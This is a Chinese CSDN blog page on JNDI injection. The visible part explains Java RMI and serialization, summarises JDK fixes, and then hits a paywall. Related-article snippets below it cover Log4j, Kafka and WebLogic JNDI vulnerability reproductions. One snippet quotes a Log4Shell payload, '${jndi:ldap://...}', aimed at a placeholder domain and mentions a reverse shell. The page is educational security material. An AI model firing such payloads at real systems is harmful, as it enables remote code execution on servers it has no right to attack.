JNDI注入的理解、JDK给出的修复

最新推荐文章于 2024-07-30 16:57:31 发布
最新推荐文章于 2024-07-30 16:57:31 发布
阅读量685 收藏
点赞数
分类专栏： web安全 文章标签： java 服务器 开发语言
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_37432174/article/details/128027801
版权
本文介绍了RMI远程方法调用的工作原理，然后深入探讨了JNDI接口及其在分布式环境中的作用。重点讨论了JNDI注入漏洞，通过可控的lookup参数可能导致远程代码执行。最后，提到了JDK针对不同版本提供的修复措施，如启用useCodebaseOnly和禁止远程codebase选项。
摘要由CSDN通过智能技术生成

RMI

RMI(Remote Method Invocation)：一种执行远程调用的Java API。RMI的目的是使在不同计算机上运行的对象(Object)之间的调用行为类似于本地调用。

RMI机制：服务器(Server)应实现一定的功能并将其注册到注册表(Registry)中，客户端(Client)应在注册表的命名空间(Naming space)中获取对象。

分布式编程中有一种基本思想就是远程方法调用。使用远程方法调用，必然会涉及参数的传递和执行结果的返回。参数或者返回值可以是基本数据类型，当然也有可能是对象的引用。所以这些需要被传输的对象必须可以被序列化，这要求相应的类必须实现 java.io.Serializable 接口，并且客户端的serialVersionUID字段要与服务器端保持一致。

在JVM之间通信时，RMI对远程对象和非远程对象的处理方式是不一样的，始终有两个中间对象实际处理通信：存根(stub object)和骨架(skeleton object)，RMI远程调用逻辑是这样的：

在这里插入图片描述

最低0.47元/天 解锁文章
偷偷学习被我发现
关注
专栏目录
Java反序列化和JNDI注入漏洞案例实战
悦分享
08-04 1012
CORBA全称（Common ObjectRequest Broker Architecture）也就是公共对象请求代理体系结构，是OMG（对象管理组织，一个非盈利性的计算机行业标准协会）制定的一种标准的面向对象应用程序体系规范。其提出是为了解决不同应用程序间的通信，曾是分布式计算的主流技术。CORBA标准主要分为三个部分，IDL（接口语言）、ORB（对象请求代理）、IIOP（ORB之间的操作协议）。其结构主要分为三部分：naming service、client side、servant side。...
Java序列化与JNDI注入漏洞案例实战
悦分享
08-04 438
序列化主要是提供了一种机制，方便数据在网络之间进行传输，或者独立于程序存储在本地磁盘。序列化的使用场景很广，比如服务器收到请求参数，一种处理方式是一个个解析数据，自己构建处理数据。还有一种就是直接将数据反序列化为对象。当要把对象存储到缓存时，我们可以自己解析对象生成数据保存到缓存，取出时也自己处理数据转换为对象，也可以直接借助语言的序列化机制帮我们将对象序列化为数据存储起来，从缓存里获取数据后直接反序列化转为对象。在这些场景里，很明显序列化机制能极大改善我们的编程体验。Java 序列化基础。...
log4j关于JNDI注入漏洞验证及修复
影子的博客
12-11 7688
log4j关于JNDI注入漏洞验证及修复一、漏洞说明二、漏洞检测方案三、影响范围四、影响组件五、彻底解决方案六、临时缓解方案七、漏洞复现八、本地编译log4j-2.15.0-rc版本方法1、下载源码2、安装JDK8、9、11。3、用idea打开源码4、修改toolchains-sample-win.xml文件的JDK安装路径5、修改maven的conf目录下的toolchains.xml文件，设置java11的安装路径6、编译安装到本地仓库 一、漏洞说明 漏洞原理官方表述：Apache Log4j2 中存在
JNDI注入-高版本绕过
最新发布
无
07-30 951
上面讲到了RMI，CORBA，LDAP漏洞被修复了，漏洞出现在客户端拿到Reference后，通过Reference加载codeBase路径下的factory处。下图是从拿到的Reference中获取factory（BeanFactory），之后调用BeanFactory的getObjectInstance方法。获取Reference的ClassName（javax.el.ELProcessor），并loadClass，得到ELProcessor类。修复之前，利用是在LdapCtx.java中的。
JNDI注入
Christ1na的博客
11-17 794
JNDI（The Java Naming and Directory Interface，Java命名和目录接口）是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。
Kafka Connect JNDI注入漏洞复现(CVE-2023-25194)
qq_40646572的博客
05-14 2328
2、无法升级的用户可通过验证Kafka Connect连接器配置，仅允许受信任的JNDI配置来缓解此漏洞。在该功能中，将payload填写到Consumer properties属性值中即可。在payload提交前，请先在vps机器中开启ldap服务。在Load data功能页中的Streaming功能中。我是通过vulhub下载的环境，下载后直接启动即可。打开页面，漏洞点在Load data功能页中。使用低版本的jdk中的ldap服务即可。
Log4j2JNDI注入漏洞复现测试
zhangxm_qz的博客
12-19 3050
文章目录漏洞概述代码测试防护办法 漏洞概述 log4j2版本 < log4j-2.15.0-rc2 可由JNDI注入实现远程代码执行。 代码测试 测试环境 我这里采用jdk1.8 211 创建并发布RMI服务 创建maven项目并，增加两个类，如下： 代码分别如下： package testRMI.service; import com.sun.jndi.rmi.registry.ReferenceWrapper; import testRMI.service.IService; import t
Apache Kafka Connect JNDI注入漏洞复现(CVE-2023-25194)
0xSec
03-18 6378
在Apache Kafka Connect中存在JNDI注入漏洞，当攻击者可访问Kafka Connect Worker，且可以创建或修改连接器时，通过设置sasl.jaas.config属性为com.sun.security.auth.module.JndiLoginModule，进而可导致JNDI注入，造成RCE需低版本JDK或目标Kafka Connect系统中存在利用链。
Java反序列化（之）JNDI注入
Vicl1fe的博客
12-29 1075
前言 为了学fastjson也是煞费苦心，害。感觉参考中文章讲的很容易去理解，文章大部分都参考它的。 JNDI Java命名和目录接口（JNDI）是一种Java API，类似于一个索引中心，它允许客户端通过name发现和查找数据和对象。 代码格式如下 String jndiName= ...;//指定需要查找name名称 Context context = new InitialContext();//初始化默认环境 DataSource ds = (DataSourse)context.lookup(jn
log4j jndi注入漏洞
Ye的博客
04-06 1152
JNDI、LDAP、log for java: log4j Java程序日志监控组件
spring 项目 Log4j2 JNDI 漏洞修复
cloudcsdn88的博客
12-13 1720
spring 项目 Log4j2 JNDI 漏洞修复
JNDI注入原理及利用IDEA漏洞复现
人若无名，便可专心练剑
03-18 2043
本篇文章我也是看过很多的博客写的，中间也遇到很多问题，JNDI注入漏洞的危害还是蛮高的。下面我们从RMI以及DNS协议进行详细的漏洞分析，其中漏洞的危害原因主要是lookup()函数可控，可以执行恶意的命令，从而造成恶意攻击。
从0入门JNDI注入
遇事不决冲冲冲
03-07 3055
先给本文立个框架 1. jndi介绍 2. RMI动态加载恶意类 3. jndi注入利用思路 4. RMI-JNDI注入 5. LDAP-JNDI注入 6. 版本及参考 JNDI全称为Java命名和目录接口。我们可以理解为JNDI提供了两个服务，即命名服务和目录服务。
Apache Log4j2 lookup JNDI 注入漏洞复现（CVE-2021-44228）
qq_51331767的博客
04-02 594
在其2.0到2.14.1版本中存在一处JNDI注入漏洞，log4j的默认配置允许使用解析日志消息中的对象。攻击者可以构造恶意的日志消息，其中包含一个恶意的Java对象，当log4j尝试解析这个对象时，它将会触发漏洞，导致攻击者能够执行任意代码。通过DNSLog平台（http://www.dnslog.cn/）获取到域名http://xxxxxx，构造payload ${jndi:ldap://http://xxxxxx}这里IP是kali的IP，端口是你等会nc监听的端口。JNDI注入反弹shell。
Log4j2 - JNDI 注入漏洞复现（CVE-2021-44228）
HAKUNAMATATATTA的博客
05-30 1280
Apache log4j 是 Apache 的一个开源项目， Apache log4j2 是一个 Java 的日志记录工具。该工具重写了 log4j 框架，并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等，通过定义每一条日志信息的级别，能够更加细致地控制日志的生成过程。log4j2 中存在 JNDI 注入漏洞，当程序记录用户输入的数据时，即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。
Weblogic Server JNDI命令执行漏洞复现，一线互联网架构师筑基必备技能之网络安全篇
2401_84184638的博客
04-10 983
本人从事网路安全工作12年，曾在2个大厂工作过，安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过，对这个行业了解比较全面。最近遍览了各种网络安全类的文章，内容参差不齐，其中不伐有大佬倾力教学，也有各种不良机构浑水摸鱼，在收到几条私信，发现大家对一套完整的系统的网络安全从学习路线到学习资料，甚至是工具有着不小的需求。最后，我将这部分内容融会贯通成了一套282G的网络安全资料包，所有类目条理清晰，知识点层层递进，需要的小伙伴可以点击下方小卡片领取哦！
weblogic jndi注入漏洞利用
12-11
WebLogic 的/console/consolejndi.portal接口可以调用存在 JNDI 注入漏洞的com.bea.console.handles.JndiBindingHandle类，从而造成 RCE。攻击者可以通过构造恶意请求，将攻击者控制的 JNDI 对象绑定到 WebLogic ...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

偷偷学习被我发现

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值